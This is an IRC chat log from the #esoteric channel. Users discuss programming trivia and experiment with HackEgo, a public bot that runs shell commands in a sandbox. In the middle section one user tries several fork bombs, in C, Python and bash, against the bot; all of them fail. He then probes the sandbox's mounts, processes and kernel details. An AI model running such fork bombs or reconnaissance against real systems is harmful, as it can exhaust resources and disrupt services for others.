:pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :The spec is quite specific. awk uses doubles as its numeric type. < 1394257177 242262 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :I didn't expect that. < 1394257263 264444 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394257295 386257 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394257349 355781 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394257580 98114 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 252 seconds < 1394257981 114885 :monotone!~monotone@room208.org PRIVMSG #esoteric :"#!/usr/bin/tail +2" (or "--lines=+2") works similarly. < 1394258025 136165 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :french thunks terminal consonants < 1394258027 364424 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :doesn't one of the scripts round here do that < 1394258044 220924 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :monotone: Yes I suppose that may work too < 1394258057 52161 :monotone!~monotone@room208.org PRIVMSG #esoteric :I remember writing one that did that, actually. < 1394258104 346252 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i found out my favorite rpn calculator uses double's internally < 1394258126 551682 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :even though it often prints them as integers (in various bases) < 1394258176 197752 :monotone!~monotone@room208.org PRIVMSG #esoteric :I'd look it up in the hgfs repo but I forget where that is. < 1394258183 236181 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :@help < 1394258183 429907 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :help . Ask for help for . Try 'list' for all commands < 1394258187 494306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :errrrr what was it < 1394258193 774338 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`help < 1394258194 9476 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1394258202 849778 :monotone!~monotone@room208.org PRIVMSG #esoteric :Oh, thanks. < 1394258259 521748 :monotone!~monotone@room208.org PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/file/d648a4814871/bin/cats < 1394258286 919090 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`uname < 1394258287 976917 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Linux < 1394258295 868522 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Julius_Richard_Petri < 1394258296 353686 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`id < 1394258297 912264 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :uid=5000 gid=5000 < 1394258322 131610 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`cats < 1394258322 661221 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :meow meow meow meow < 1394258331 950699 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :snazzy < 1394258343 991398 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :cats like Petri? < 1394258351 315126 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`gcc -v < 1394258351 967509 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Using built-in specs. \ COLLECT_GCC=gcc \ COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.7/lto-wrapper \ Target: x86_64-linux-gnu \ Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-5' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 < 1394258372 550351 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`which ghci < 1394258373 128074 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394258408 963408 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`echo main(){for(;;)fork();} > x.c < 1394258409 655021 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :main(){for(;;)fork();} > x.c < 1394258451 29095 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`python -V < 1394258451 605081 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Python 2.7.3 < 1394258562 788379 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`python -c "import os; while 1 : os.fork() < 1394258563 516769 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ File "", line 1 \ "import os; while 1 : os.fork() \ ^ \ IndentationError: unexpected indent < 1394258566 608722 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`python -c "import os; while 1 : os.fork()" < 1394258567 242642 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​ File "", line 1 \ "import os; while 1 : os.fork()" \ ^ \ IndentationError: unexpected indent < 1394258715 802271 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :` (){ :|:& };: < 1394258716 284207 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1394258757 713385 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :` :(){ :|:& };: < 1394258758 259237 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1394258769 295870 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :` f(){ f|f& };f < 1394258769 825471 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found < 1394258838 315743 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Ping timeout: 240 seconds < 1394259113 767512 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394259314 768719 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394259314 998659 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394259502 502187 :monotone!~monotone@room208.org PRIVMSG #esoteric :Defeating fork bombs through syntax errors! < 1394260134 237961 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :newsham: `run echo < 1394260477 104412 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run echo < 1394260477 802257 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394260538 443314 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :`run echo newsham > newsham < 1394260539 972298 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394260546 307609 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`cat newsham < 1394260546 904884 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :newsham < 1394260556 788078 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :`run rm newsham < 1394260558 383947 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394260563 120898 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`sudo apt-get install ghc < 1394260563 689624 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sudo: not found < 1394260584 754861 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`which ghc < 1394260585 386143 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394260589 859321 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :...? < 1394260598 267833 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'm like 80% haskell's in there somewhere. < 1394260604 97651 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`ls /bin < 1394260604 813193 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bash \ bunzip2 \ bzcat \ bzcmp \ bzdiff \ bzegrep \ bzexe \ bzfgrep \ bzgrep \ bzip2 \ bzip2recover \ bzless \ bzmore \ cat \ chgrp \ chmod \ chown \ cp \ cpio \ dash \ date \ dd \ df \ dir \ dmesg \ dnsdomainname \ domainname \ echo \ ed \ egrep \ false \ fgrep \ findmnt \ fuser \ grep \ gunzip \ gzexe \ gzip \ hostname \ ip \ kill \ kmod \ less \ < 1394260608 730154 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`ls bin < 1394260609 449817 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​` \ ^.^ \ ̊ \ ? \ ¿ \ @ \ ؟ \ WELCOME \  \  \ aaaaaaaaa \ addquote \ addwep \ allquotes \ anonlog \ as86 \ aseen \ bienvenido \ botsnack \ bseen \ buttsnack \ calc \ CaT \ catcat \ cats \ cdecl \ c++decl \ chroot \ coins \ complain \ complaints \ danddreclist \ define \ delquote \ delvs \ dis86 \ e \ echo \ echo \ ello \ < 1394260625 959528 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`dis86 /bin/ls < 1394260626 776873 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394260662 770303 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1394260663 116491 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`echo $PATH < 1394260665 447337 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​$PATH < 1394260668 186445 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run echo $PATH < 1394260668 837628 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin < 1394260679 267996 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :aha! < 1394260680 345218 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`ls /opt/ghc/bin < 1394260680 972390 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /opt/ghc/bin: No such file or directory < 1394260693 156394 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`run ls | grep hs < 1394260693 849950 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Test.hs < 1394260702 66053 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :`ghc -O2 Test.hs < 1394260702 681955 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ghc: not found < 1394260705 871263 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ok < 1394260750 56755 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run file bin/? < 1394260750 697749 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :bin/`: ASCII text \ bin/̊: ASCII text \ bin/?: POSIX shell script, UTF-8 Unicode text executable \ bin/¿: ASCII text \ bin/@: Perl script, ASCII text executable \ bin/؟: ASCII text \ bin/: empty \ bin/e: UTF-8 Unicode text \ bin/h: Perl script, ASCII text executable \ bin/q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically li < 1394260767 797945 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run more bin/?|cat < 1394260768 476710 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​:::::::::::::: \ bin/` \ :::::::::::::: \ exec bash -c "$1" \ :::::::::::::: \ bin/̊ \ :::::::::::::: \ echo hi \ :::::::::::::: \ bin/? \ :::::::::::::: \ #!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \ < 1394260841 442090 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :`? ngevd < 1394260842 166142 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​  xYzþ9zLɩ \ >.wpx'.3qJ3nI .%S*ҋ;I[R O-%H|)h~Q2vP5rP*GHuLZ0؃%lWWSh.8qLX z״:Ys>`G PNIt_qfaaF` Rjc%t9EG D%k""O' < 1394260861 662629 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :`? nooooooodl < 1394260862 428005 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :nooooodl is the correct spelling < 1394260877 16584 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :`? nooooooooooooooooooooodl < 1394260877 819481 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :noooooooodl is the correct spelling < 1394260883 537609 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`which go < 1394260884 151350 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394260905 536298 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`id; ls -ld bin < 1394260906 71048 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: id;: not found < 1394260940 561346 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :run is ur friend < 1394260943 715172 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :`? noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodl < 1394260944 378237 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :nooooooooodl is the correct spelling < 1394260964 144664 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :how is it computing the number of o's to put < 1394261022 865256 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fucking magic, imo < 1394261103 91573 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run ps -x < 1394261103 714253 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :warning: bad ps syntax, perhaps a bogus '-'? \ See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ \ PID TTY STAT TIME COMMAND \ 286 ? S 0:00 /init \ 288 ? S 0:00 sh -c 'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' ' < 1394261123 629429 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run echo /hackenv/* < 1394261124 343443 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/98076 /hackenv/a /hackenv/app.sh /hackenv/bdsmreclist /hackenv/bin /hackenv/canary /hackenv/cat /hackenv/complaints /hackenv/:-D /hackenv/dog /hackenv/etc /hackenv/factor /hackenv/fb /hackenv/fb.c /hackenv/head /hackenv/hello /hackenv/hello.c /hackenv/ibin /hackenv/index.html /hackenv/interps /hackenv/lib /hackenv/paste /hackenv/pref /h < 1394261140 891271 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run file /hackenv/dog < 1394261141 415261 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/dog: UTF-8 Unicode text < 1394261165 215566 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run file /hackenv/canary < 1394261165 888810 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/canary: ASCII text < 1394261171 552137 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run cat /hackenv/canary < 1394261172 175576 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :chirp < 1394261192 647724 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run echo >/tmp/f; ls -ld /tmp/f < 1394261193 438746 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​-rw-r--r-- 1 5000 5000 1 Mar 8 06:46 /tmp/f < 1394261231 491420 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run file /hackenv/interps < 1394261232 110293 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/interps: directory < 1394261236 387067 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run ls /hackenv/interps < 1394261237 106525 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1l \ 2l \ adjust \ axo \ befunge \ bfjoust \ bf_txtgen \ boof \ build.sh \ cfunge \ c-intercal \ clc-intercal \ dimensifuck \ egobch \ egobf \ fukyorbrane \ gcccomp \ gforth_quit \ ghc \ glass \ glypho \ kipple \ lambda \ lazyk \ linguine \ Makefile \ malbolge \ pbrain \ qbf \ rail \ rhotor \ sadol \ sceql \ trigger \ udage01 \ underload \ unlambda < 1394261252 365451 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run file /hackenv/interps/lambda < 1394261252 912416 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/hackenv/interps/lambda: directory < 1394261258 554173 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run ls /hackenv/interps/lambda < 1394261259 228514 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :defs.pickle \ evaluator.py \ lambda.py \ parser.py \ README \ tokenizer.py \ USED_VERSION < 1394261278 939380 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run head /hackenv/interps/lambda/README < 1394261279 531623 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Lambda calculus interpreter \ (c) Nikita Ayzikovsky, 2006 \ \ Usage: \ \ run lambda.py, which reads a single-line lambda calculus program from stdin. \ \ Syntax: \ \ A program can optionally contain any number of definitions, followed by < 1394261330 492567 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run ls /hackenv/interps/ghc/ < 1394261331 175426 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :runghc < 1394261340 74411 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run /hackenv/interps/ghc/runghc -v < 1394261370 512975 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394261443 749123 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run find / -type f -print0 |xargs -0 grep newsham < 1394261450 426655 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :find: `/proc/tty/driver': Permission denied \ find: `/proc/1/task/1/fd': Permission denied \ find: `/proc/1/task/1/fdinfo': Permission denied \ find: `/proc/1/task/1/ns': Permission denied \ find: `/proc/1/fd': Permission denied \ find: `/proc/1/fdinfo': Permission denied \ find: `/proc/1/ns': Permission denied \ find: `/proc/2/task/2/fd': Permissi < 1394261474 425460 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run (find / -type f -print0 |xargs -0 grep newsham) 2>/dev/null < 1394261504 937647 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Binary file /proc/288/task/288/cmdline matches \ Binary file /proc/290/task/290/cmdline matches < 1394261637 420234 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run cat /proc/cmdline /proc/version < 1394261638 61161 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :initrd=/usr/bin/../lib/umlbox/umlbox-initrd.gz ubda=/tmp/19304.conf mem=256M con1=null,fd:3 con2=fd:5,fd:8 con=null,null root=98:0 \ Linux version 3.13.0-umlbox (hackbot@codu) (gcc version 4.7.2 (Debian 4.7.2-5) ) #1 Wed Jan 29 12:56:45 UTC 2014 < 1394261665 257279 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :uml < 1394261723 317994 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run (cd /dev;echo *) < 1394261723 979363 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :agpgart audio audio1 audio2 audio3 audioctl console core dsp dsp1 dsp2 dsp3 fd full kmem loop0 loop1 loop2 loop3 loop4 loop5 loop6 loop7 mem midi0 midi00 midi01 midi02 midi03 midi1 midi2 midi3 mixer mixer1 mixer2 mixer3 mpu401data mpu401stat null port ptmx pts ram ram0 ram1 ram10 ram11 ram12 ram13 ram14 ram15 ram16 ram2 ram3 ram4 ram5 ram6 ram7 ram < 1394261838 682635 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run cat /proc/cpuinfo < 1394261839 452092 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :processor : 0 \ vendor_id : User Mode Linux \ model name : UML \ mode : skas \ host : Linux codu 3.2.0-4-amd64 #1 SMP Debian 3.2.46-1+deb7u1 x86_64 \ bogomips : 2151.21 < 1394261962 425667 :prooftechnique!~NihilistD@cablepool3-212.stoweaccess.com JOIN :#esoteric < 1394262220 335112 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run ls /sys/kern/debugfs < 1394262221 169777 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :ls: cannot access /sys/kern/debugfs: No such file or directory < 1394262227 365665 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :`run mount < 1394262227 976442 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :none on /bin type hostfs (ro,nosuid,relatime,/bin/) \ none on /usr type hostfs (ro,nosuid,relatime,/usr/) \ none on /dev type hostfs (ro,nosuid,relatime,/dev/) \ none on /opt type hostfs (ro,nosuid,relatime,/opt/) \ none on /lib type hostfs (ro,nosuid,relatime,/lib/) \ none on /sbin type hostfs (ro,nosuid,relatime,/sbin/) \ none on /lib64 type host < 1394262615 131722 :endrews!~endrews@62.109.22.242 QUIT :Remote host closed the connection < 1394262694 252225 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :can you do this in /msg < 1394262702 934838 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :unknown < 1394262736 908733 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :the bot is very esoteric < 1394263447 730834 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394266351 97050 :prooftechnique!~NihilistD@cablepool3-212.stoweaccess.com QUIT :Quit: leaving < 1394266686 298407 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394267145 135065 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394268264 291399 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394268535 280589 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1394268693 136798 :nortti_!nortti@nano.smar.fi JOIN :#esoteric < 1394268923 910994 :Tefaj!~jafet@static.77.207.4.46.clients.your-server.de JOIN :#esoteric < 1394268963 964983 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :*.net *.split < 1394268964 307018 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :*.net *.split < 1394268964 714888 :nortti!nortti@nano.smar.fi QUIT :*.net *.split < 1394268966 762090 :Jafet!~jafet@unaffiliated/jafet QUIT :*.net *.split < 1394269467 656986 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394270179 933792 :Slereahphone!~slereahph@90.84.145.74 JOIN :#esoteric < 1394271106 91298 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394272028 998263 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know if GCC can optimize uses of strlen? Such as x+=strlen(x); and so on < 1394272534 945137 :Tefaj!~jafet@static.77.207.4.46.clients.your-server.de PART :#esoteric < 1394272668 266298 :Jafet!~jafet@unaffiliated/jafet JOIN :#esoteric < 1394272855 890703 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Here is a quine in SQL: with q(q) as (select 'with q(q) as (select ''#'') select replace(q,x''23'',replace('''''''','''''''''''')) from q;') select replace(q,x'23',replace(q,'''','''''')) from q; < 1394272886 9510 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There are a lot of apostrophes in it, and a lot in a line at once < 1394272978 212662 :aergus!~aergus@88.228.117.4 JOIN :#esoteric < 1394274465 412013 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394274557 265990 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :zzo38: I'm not sure it can really optimize x += strlen(x), though I know it can "constant-fold" strlen out if it can determine at compile-time the length of the string. < 1394274607 220330 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well, it can optimize any further usage of x. < 1394274745 618822 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It does seem to turn void f(char *x) { x += strlen(x); *x = 'a'; *(x+1) = 0; } into the relatively literal call strlen; add sequence rather than call some strlen-like function that'd directly return a pointer to the end, I mean. < 1394274823 267447 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The hypothetical function would probably be called stplen by way of analogy from strcpy/stpcpy. < 1394274863 339652 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Or maybe not. Having "len" in the name would be kind of confusing.) < 1394275118 266651 :itsy!~digital_w@37.152.198.84 PRIVMSG #esoteric :Anyone interested in entering the Robot Battle tournament? http://www.robotbattle.com/registry/index.php?act=calendar&code=showevent&eventid=64 < 1394275182 659721 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :For a moment, I thought that involved actual robots < 1394275235 18352 :itsy!~digital_w@37.152.198.84 PRIVMSG #esoteric :Not quite. It's similar to Robocode, RobotWar, CROBOTS, etc. < 1394275291 797809 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :zzo38: Jafet: Also when doing -Os (which makes it inline the strlen), gcc seems to do a rather suboptimal (string in rdi) or rcx, -1; mov rdx, rdi; repnz scasb; not rcx; lea rax, [rdx+rcx-1] rather than just using the resulting rdi value from the repnz scasb. < 1394275319 641123 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : i'm like 80% haskell's in there somewhere. <-- dammit Gregor < 1394275338 532911 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :* Guest80165 < 1394275373 741818 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :“Powered by Invision Power Board v1.1.2 © 2003” I can't even remember what exploits to use from that long ago < 1394275625 543564 :nooodl!~nooodl@91.176.177.103 JOIN :#esoteric < 1394276020 153626 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :newsham: most of the stuff int /hackenv/interp is basically copies of stuff in EgoBot; only some of it actually _works_ after the move. < 1394276030 688521 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*in < 1394276070 273511 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@tell newsham most of the stuff int /hackenv/interp is basically copies of stuff in EgoBot; only some of it actually _works_ after the move. and ghc obviously stopped working when HackEgo itself was moved. < 1394276070 544663 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1394276083 192727 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :I SAID *in, BRAIN < 1394276113 576484 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`which python < 1394276114 344768 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​/usr/bin/python < 1394276122 244463 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run python --version < 1394276122 855538 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Python 2.7.3 < 1394276327 75125 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`run python -c 'import sys; print sys.maxunicode' < 1394276327 841869 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :1114111 < 1394276330 202837 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wowza. < 1394276368 412957 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :wait does that mean something actually _improved_ in the move? < 1394276398 83148 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :`unidecode 𝂳 < 1394276398 873347 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+1D0B3 BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS 